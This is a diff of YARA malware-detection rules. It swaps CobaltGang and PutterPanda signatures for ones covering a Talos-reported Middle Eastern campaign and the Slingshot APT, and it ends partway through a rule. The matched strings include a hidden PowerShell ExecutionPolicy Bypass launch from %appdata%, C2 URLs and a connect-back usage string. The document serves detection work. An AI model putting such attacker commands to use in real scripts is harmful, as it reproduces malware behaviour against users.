-rule SIGNATURE_BASE_MAL_CRIME_Cobaltgang_Malware_Oct19_1 : FILE
+rule SIGNATURE_BASE_ME_Campaign_Malware_3 : FILE
 {
 	meta:
-		description = "Detects CobaltGang malware"
+		description = "Detects malware from Middle Eastern campaign reported by Talos"
 		author = "Florian Roth (Nextron Systems)"
-		id = "95c16016-b09b-56f3-b5a4-fca18ac70ad5"
-		date = "2019-10-24"
+		id = "d8bfd426-ff42-5332-8206-67a558509494"
+		date = "2018-02-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/vxsh4d0w/status/1187353649015611392"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cobaltgang.yar#L74-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4bd57aa6929b3eced7dee8063d89c542f2c80f802ef40efc23bbea6cc8ffd98c"
+		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_middle_east_talosreport.yar#L50-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d45f9f624285ed13a16901335585490459f22ef8af157c38b720118735ed432"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "72125933265f884ceb8ab64ab303ea76aaeb7877faee8976d398acd0d0b7356b"
-		hash2 = "893339624602c7b3a6f481aed9509b53e4e995d6771c72d726ba5a6b319608a7"
-		hash3 = "3c34bbf641df25f9accd05b27b9058e25554fdfea0e879f5ca21ffa460ad2b01"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
 
 	strings:
-		$op_a1 = { 0f 44 c2 eb 0a 31 c0 80 fa 20 0f 94 c0 01 c0 5d }
-		$op_b1 = { 89 e5 53 8b 55 08 8b 4d 0c 8a 1c 01 88 1c 02 83 }
-		$op_b2 = { 89 e5 53 8b 55 08 8b 45 0c 8a 1c 0a 88 1c 08 83 }
+		$x1 = "objWShell.Run \"powershell.exe -ExecutionPolicy Bypass -File \"\"%appdata%\"\"\\sys.ps1\", 0 " fullword ascii
+		$x2 = "objFile.WriteLine \"New-Item -Path \"\"$ENV:APPDATA\\Microsoft\\Templates\"\" -ItemType Directory -Force }\" " fullword ascii
+		$x3 = "objFile.WriteLine \"$path = \"\"$ENV:APPDATA\\Microsoft\\Templates\\Report.doc\"\"\" " fullword ascii
+		$s4 = "File=appData & \"\\sys.ps1\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and (pe.imphash()=="d1e3f8d02cce09520379e5c1e72f862f" or pe.imphash()=="8e26df99c70f79cb8b1ea2ef6f8e52ac" or ($op_a1 and 1 of ($op_b*)))
+		uint16(0)==0x6553 and filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Rel : FILE
+import "pe"
+
+rule SIGNATURE_BASE_ME_Campaign_Malware_4 : FILE
 {
 	meta:
-		description = "Detects an APT malware related to PutterPanda"
+		description = "Detects malware from Middle Eastern campaign reported by Talos"
 		author = "Florian Roth (Nextron Systems)"
-		id = "980922cb-edfb-50ab-a102-a8168aa2b0e0"
-		date = "2015-06-03"
+		id = "1ff83ac6-e3f1-55e2-a811-e526b8235c78"
+		date = "2018-02-07"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L1-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5367e183df155e3133d916f7080ef973f7741d34"
-		logic_hash = "f2ffab73993c578f47e17babc2e65301b3720e438b33e57f2af31b7183bfd20f"
-		score = 70
+		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_middle_east_talosreport.yar#L68-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "83340b2d8f5f58f886eb318b80d7fbb0b9a4f5ad634db857edc405932f3ea5bc"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$x0 = "app.stream-media.net" fullword ascii
-		$x1 = "File %s does'nt exist or is forbidden to acess!" fullword ascii
-		$s6 = "GetProcessAddresss of pHttpQueryInfoA Failed!" fullword ascii
-		$s7 = "Connect %s error!" fullword ascii
-		$s9 = "Download file %s successfully!" fullword ascii
-		$s10 = "index.tmp" fullword ascii
-		$s11 = "Execute PE Successfully" fullword ascii
-		$s13 = "aa/22/success.xml" fullword ascii
-		$s16 = "aa/22/index.asp" fullword ascii
-		$s18 = "File %s a Non-Pe File" fullword ascii
-		$s19 = "SendRequset error!" fullword ascii
-		$s20 = "filelist[%d]=%s" fullword ascii
+		hash1 = "c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525"
 
 	condition:
-		( uint16(0)==0x5a4d and 1 of ($x*)) or (4 of ($s*))
+		uint16(0)==0x5a4d and filesize <1000KB and pe.imphash()=="fb7da233a35ac523d6059fff543627ab"
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Rel_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_ME_Campaign_Malware_5 : FILE
 {
 	meta:
-		description = "APT Malware related to PutterPanda Group"
+		description = "Detects malware from Middle Eastern campaign reported by Talos"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3eef8869-45d6-57a4-a182-c5349b034cf4"
-		date = "2015-06-03"
-		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L30-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f97e01ee04970d1fc4d988a9e9f0f223ef2a6381"
-		logic_hash = "60a48288cb106135728fb676ecad2b9be5254d5dc5094da158ea9dc07704c9ab"
-		score = 70
+		id = "241a4236-2688-5920-87f7-eed33963ec60"
+		date = "2018-02-07"
+		modified = "2022-08-18"
+		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_middle_east_talosreport.yar#L81-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b958a09be09de03e702a0653cf51148698b35c29bed90edbc3a65e485f0c3aa6"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1"
+		hash2 = "e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5"
 
 	strings:
-		$s0 = "http://update.konamidata.com/test/zl/sophos/td/result/rz.dat?" fullword ascii
-		$s1 = "http://update.konamidata.com/test/zl/sophos/td/index.dat?" fullword ascii
-		$s2 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii
-		$s3 = "Internet connect error:%d" fullword ascii
-		$s4 = "Proxy-Authorization:Basic" fullword ascii
-		$s5 = "HttpQueryInfo failed:%d" fullword ascii
-		$s6 = "read file error:%d" fullword ascii
-		$s7 = "downdll.dll" fullword ascii
-		$s8 = "rz.dat" fullword ascii
-		$s9 = "Invalid url" fullword ascii
-		$s10 = "Create file failed" fullword ascii
-		$s11 = "myAgent" fullword ascii
-		$s12 = "%s%s%d%d" fullword ascii
-		$s13 = "down file success" fullword ascii
-		$s15 = "error!" fullword ascii
-		$s18 = "Avaliable data:%u bytes" fullword ascii
+		$s1 = "D:\\me\\do\\do\\obj\\" ascii
+		$s2 = "Select * from Win32_ComputerSystem" fullword wide
+		$s3 = "Get_Antivirus" fullword ascii
+		$s4 = "{{\"id\":\"{0}\",\"user\":\"{1}\",\"path\":\"{2}\"}}" fullword wide
+		$s5 = "update software online" fullword wide
+		$s6 = "time.nist.gov" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and filesize <60KB and 5 of them or all of them
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_PSAPI : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Slingshot_APT_Spork_Downloader : FILE
 {
 	meta:
-		description = "Detects a malware related to Putter Panda"
+		description = "Detects malware from Slingshot APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e074ab8a-2ca4-579e-aaef-cdfb9c64b21b"
-		date = "2015-06-03"
+		id = "21e02f78-40d8-5b56-b747-3f2a7a692259"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L61-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f93a7945a33145bb6c106a51f08d8f44eab1cdf5"
-		logic_hash = "b73f1db2ca8a3164562314ebd9903c864eb2690c95731959df0e99656544ed40"
-		score = 70
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L11-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5dac11c595d838cb6b5f1e548307ea79d119c890c54e954453cf1a264e1d14ed"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LOADER ERROR" fullword ascii
-		$s1 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
-		$s2 = "psapi.dll" fullword ascii
-		$s3 = "urlmon.dll" fullword ascii
-		$s4 = "WinHttpGetProxyForUrl" fullword ascii
+		$s1 = "Usage: spork -c IP:PORT" fullword ascii wide
+		$s2 = "connect-back IP address and port number"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_WUAUCLT
-{
-	meta:
-		description = "Detects a malware related to Putter Panda"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5c8e0629-b5f2-5933-8c74-c49b756aaf18"
-		date = "2015-06-03"
-		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L81-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fd5ca5a2d444865fa8320337467313e4026b9f78"
-		logic_hash = "49cae3b727d6b2673dc9a6497d59c9abdd78d486e1eaf6f036f6eb1aef9a8fcb"
-		score = 70
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$x0 = "WUAUCLT.EXE" fullword wide
-		$x1 = "%s\\tmp%d.exe" fullword ascii
-		$x2 = "Microsoft Corporation. All rights reserved." fullword wide
-		$s1 = "Microsoft Windows Operating System" fullword wide
-		$s2 = "InternetQueryOptionA" fullword ascii
-		$s3 = "LookupPrivilegeValueA" fullword ascii
-		$s4 = "WNetEnumResourceA" fullword ascii
-		$s5 = "HttpSendRequestExA" fullword ascii
-		$s6 = "PSAPI.DLL" fullword ascii
-		$s7 = "Microsoft(R) Windows(R) Operating System" fullword wide
-		$s8 = "CreatePipe" fullword ascii
-		$s9 = "EnumProcessModules" fullword ascii
+import "pe"
 
-	condition:
-		all of ($x*) or (1 of ($x*) and all of ($s*))
-}
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Gen1 : FILE
+rule SIGNATURE_BASE_Slingshot_APT_Minisling : FILE
 {
 	meta:
-		description = "Detects a malware "
-		author = "YarGen Rule Generator"
-		id = "5e7910e7-3f33-50fb-a87f-bf0bbf8a2797"
-		date = "2015-06-03"
+		description = "Detects malware from Slingshot APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "99f9d5a1-b29f-52f7-9aec-02df4a51a756"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L110-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8054195f212017fb17953728a7df34645d81c93fee75300e44f467c6aa5efaff"
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L26-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d370271fea6c607c051eb49681600b4f59878c2fd2d43d71194bddda78d7b09"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		super_rule = 1
-		hash0 = "bf1d385e637326a63c4d2f253dc211e6a5436b6a"
-		hash1 = "76459bcbe072f9c29bb9703bc72c7cd46a692796"
-		hash2 = "e105a7a3a011275002aec4b930c722e6a7ef52ad"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s%duserid=%dthreadid=%dgroupid=%d" fullword ascii
-		$s2 = "ssdpsvc.dll" fullword ascii
-		$s3 = "Fail %s " fullword ascii
-		$s4 = "%s%dpara1=%dpara2=%dpara3=%d" fullword ascii
-		$s5 = "LsaServiceInit" fullword ascii
-		$s6 = "%-8d Fs %-12s Bs " fullword ascii
-		$s7 = "Microsoft DH SChannel Cryptographic Provider" fullword ascii
+		$s1 = "{6D29520B-F138-442e-B29F-A4E7140F33DE}" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 5 of them
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_Malware_Msupdater_String_In_EXE : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Slingshot_APT_Ring0_Loader : FILE
 {
 	meta:
-		description = "MSUpdater String in Executable"
+		description = "Detects malware from Slingshot APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c7da9e1e-3a8d-54b6-b102-0e1095d99cc4"
-		date = "2015-06-03"
+		id = "b5301a45-a4ec-5e56-a990-bc6300ee6365"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L133-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b1a2043b7658af4d4c9395fa77fde18ccaf549bb"
-		logic_hash = "2b7a43aee6dbac1bfa7d9e0331cb078394ae78a1ec44c1a4a70a63b38595abe0"
-		score = 50
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L40-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c231158e44de01585e9fb4bd9768b388016972e2026e049070cdc6cd35362609"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "msupdate.exe" fullword wide
-		$x3 = "msupdater.exe" fullword ascii
-		$x4 = "msupdater32.exe" fullword ascii
-		$x5 = "msupdater32.exe" fullword wide
-		$x6 = "msupdate.pif" fullword ascii
-		$fp1 = "_msupdate_" wide
-		$fp2 = "_msupdate_" ascii
-		$fp3 = "/kies" wide
+		$s1 = " -> Missing element in DataDir -- cannot install" ascii
+		$s2 = " -> Primary loader not present in the DataDir" ascii
+		$s3 = "\\\\.\\amxpci" fullword ascii
+		$s4 = " -> [Goad] ERROR in CreateFile:" fullword ascii
+		$s5 = "\\\\.\\Sandra" fullword ascii
+		$s6 = " -> [Sandra] RingZeroCode" fullword ascii
+		$s7 = " -> [Sandra] Value from IOCTL_RDMSR:" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*)) and not (1 of ($fp*))
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Msupdater_3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Slingshot_APT_Malware_1 : FILE
 {
 	meta:
-		description = "Detects Malware related to PutterPanda - MSUpdater"
+		description = "Detects malware from Slingshot APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "917ab081-ee91-5eda-82eb-4731563a1933"
-		date = "2015-06-03"
+		id = "72f4a52b-c70b-511f-acf5-6d680a95c7d6"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L158-L175"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "464149ff23f9c7f4ab2f5cadb76a4f41f969bed0"
-		logic_hash = "09e7da7f2bfbae9252502ea1ea61b612c1af2e4c70508b34e685b46429d4613c"
-		score = 70
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L60-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "43cf94058fe3833a4623ecb784eea50e199536d4903fb9457843b7b5e9a244e3"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4b250304e28648574b441831bf579b844e8e1fda941fb7f86a7ea7c4291bbca6"
 
 	strings:
-		$s0 = "msupdater.exe" fullword ascii
-		$s1 = "Explorer.exe \"" fullword ascii
-		$s2 = "FAVORITES.DAT" fullword ascii
-		$s4 = "COMSPEC" fullword ascii
+		$s1 = "SlingDll.dll" fullword ascii
+		$s2 = "BogusDll." ascii
+		$s3 = "smsvcrt -h 0x%p" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <700KB and (pe.imphash()=="7ead4bb0d752003ce7c062adb7ffc51a" or pe.exports("WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW0000") or 1 of them )
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Msupdater_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Slingshot_APT_Malware_2 : FILE
 {
 	meta:
-		description = "Detects Malware related to PutterPanda - MSUpdater"
+		description = "Detects malware from Slingshot APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c65b668-52c2-5cd5-ba02-4f190e08d46c"
-		date = "2015-06-03"
+		id = "b85d3d81-0148-5ea0-9eff-d9bb63e3e75b"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L177-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b55072b67543f58c096571c841a560c53d72f01a"
-		logic_hash = "038be28609df0187cbbce0d16fee7c902b742458f1201ff3c0d5fde19acd2c56"
-		score = 70
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L81-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d56dadf747c64cb518ddc9aaee38fd50c67fe7344d7569d9ef3169099e7f36c5"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a51ef6d115daa648ddd57d1e4480f5a18daf40986bfde32aab19349aa010e67"
 
 	strings:
-		$x0 = "msupdate.exe" fullword wide
-		$x1 = "msupdate" fullword wide
-		$s1 = "Microsoft Corporation. All rights reserved." fullword wide
-		$s2 = "Automatic Updates" fullword wide
-		$s3 = "VirtualProtectEx" fullword ascii
-		$s4 = "Invalid parameter" fullword ascii
-		$s5 = "VirtualAllocEx" fullword ascii
-		$s6 = "WriteProcessMemory" fullword ascii
+		$x1 = "\\\\?\\c:\\RECYCLER\\S-1-5-21-2225084468-623340172-1005306204-500\\INFO5" fullword wide
+		$x_slingshot = {09 46 BE 57 42 DD 70 35 5E }
+		$s1 = "Opening service %s for stop access failed.#" fullword wide
+		$s2 = "LanMan setting <%s> is ignored because system has a higher value already." fullword wide
+		$s3 = "\\DosDevices\\amxpci" wide
+		$s4 = "lNTLMqSpPD" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and 1 of ($x*) and 4 of ($s*)) or (1 of ($x*) and all of ($s*))
+		uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Msupdater_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Slingshot_APT_Malware_3 : FILE
 {
 	meta:
-		description = "Detects Malware related to PutterPanda - MSUpdater"
+		description = "Detects malware from Slingshot APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e9188a14-5c0c-551c-bdca-9f770f42935a"
-		date = "2015-06-03"
+		id = "4ef1f9a6-3d80-545e-8ac3-c6d46c71fca1"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L202-L236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "365b5537e3495f8ecfabe2597399b1f1226879b1"
-		logic_hash = "47d75e589d47a39d5a9c9e0047a143074d3d74b5541adf8cb3be968da732a96d"
-		score = 70
-		quality = 83
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L102-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "420c54ce90a13258e0dd54524fe7df4dd97d3e8f1eeaa8ca14350670a87e87c6"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fa513c65cded25a7992e2b0ab03c5dd5c6d0fc2282cd64a1e11a387a3341ce18"
 
 	strings:
-		$s0 = "winsta0\\default" fullword ascii
-		$s1 = "EXPLORER.EXE" fullword ascii
-		$s2 = "WNetEnumResourceA" fullword ascii
-		$s3 = "explorer.exe" fullword ascii
-		$s4 = "CreateProcessAsUserA" fullword ascii
-		$s5 = "HttpSendRequestExA" fullword ascii
-		$s6 = "HttpEndRequestA" fullword ascii
-		$s7 = "GetModuleBaseNameA" fullword ascii
-		$s8 = "GetModuleFileNameExA" fullword ascii
-		$s9 = "HttpSendRequestA" fullword ascii
-		$s10 = "HttpOpenRequestA" fullword ascii
-		$s11 = "InternetConnectA" fullword ascii
-		$s12 = "Process32Next" fullword ascii
-		$s13 = "Process32First" fullword ascii
-		$s14 = "CreatePipe" fullword ascii
-		$s15 = "EnumProcesses" fullword ascii
-		$s16 = "LookupPrivilegeValueA" fullword ascii
-		$s17 = "PeekNamedPipe" fullword ascii
-		$s18 = "EnumProcessModules" fullword ascii
-		$s19 = "PSAPI.DLL" fullword ascii
-		$s20 = "SPSSSQ" fullword ascii
+		$a1 = "chmhlpr.dll" fullword ascii
+		$s2 = "%hc%hc%hc%hc" fullword ascii
+		$s3 = "%hc%hc%hc=" fullword ascii
+		$s4 = "%hc%hc==" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <220KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="2f3b3df466e24e0792e0e90d668856bc" or pe.exports("dll_u") or ($a1 and 2 of ($s*)))
 }
-rule SIGNATURE_BASE_APT_Malware_Putterpanda_Gen4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Slingshot_APT_Malware_4 : FILE
 {
 	meta:
-		description = "Detects Malware related to PutterPanda"
+		description = "Detects malware from Slingshot APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0b6ce725-6932-5432-acd5-ee3593ac7bd8"
-		date = "2015-06-03"
+		id = "0f957330-1834-550f-ba5d-fb2bf0dfba7f"
+		date = "2018-03-09"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_putterpanda.yar#L238-L276"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d450935febe5d6db14be1e7694db1d7b9e8fcacf013920e89c7b25659254310"
-		score = 70
+		reference = "https://securelist.com/apt-slingshot/84312/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_slingshot.yar#L124-L144"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a9f4b7b4079ebd5ffbee4c82032d28b0015968cb369fae2b0f19b054bf5a1c3c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "71a8378fa8e06bcf8ee9f019c807c6bfc58dca0c"
-		hash1 = "8fdd6e5ed9d69d560b6fdd5910f80e0914893552"
-		hash2 = "3c4a762175326b37035a9192a981f7f4cc2aa5f0"
-		hash3 = "598430b3a9b5576f03cc4aed6dc2cd8a43324e1e"
-		hash4 = "6522b81b38747f4aa09c98fdaedaed4b00b21689"
+		hash1 = "38c4f5320b03cbaf5c14997ea321507730a8c16906e5906cbf458139c91d5945"
 
 	strings:
-		$x1 = "rz.dat" fullword ascii
-		$s0 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii
-		$s1 = "Internet connect error:%d" fullword ascii
-		$s2 = "Proxy-Authorization:Basic " fullword ascii
-		$s5 = "Invalid url" fullword ascii
-		$s6 = "Create file failed" fullword ascii
-		$s7 = "myAgent" fullword ascii
-		$z1 = "%s%s%d%d" fullword ascii
-		$z2 = "HttpQueryInfo failed:%d" fullword ascii
-		$z3 = "read file error:%d" fullword ascii
-		$z4 = "down file success" fullword ascii
-		$z5 = "kPStoreCreateInstance" fullword ascii
-		$z6 = "Avaliable data:%u bytes" fullword ascii
-		$z7 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii
+		$x1 = "Ss -a 4104 -s 257092 -o 8 -l 406016 -r 4096 -z 315440" fullword wide
+		$s1 = "Slingshot" fullword ascii
+		$s2 = "\\\\?\\e:\\$Recycle.Bin\\" wide
+		$s3 = "LineRecs.reloc" fullword ascii
+		$s4 = "EXITGNG" fullword ascii
 
 	condition:
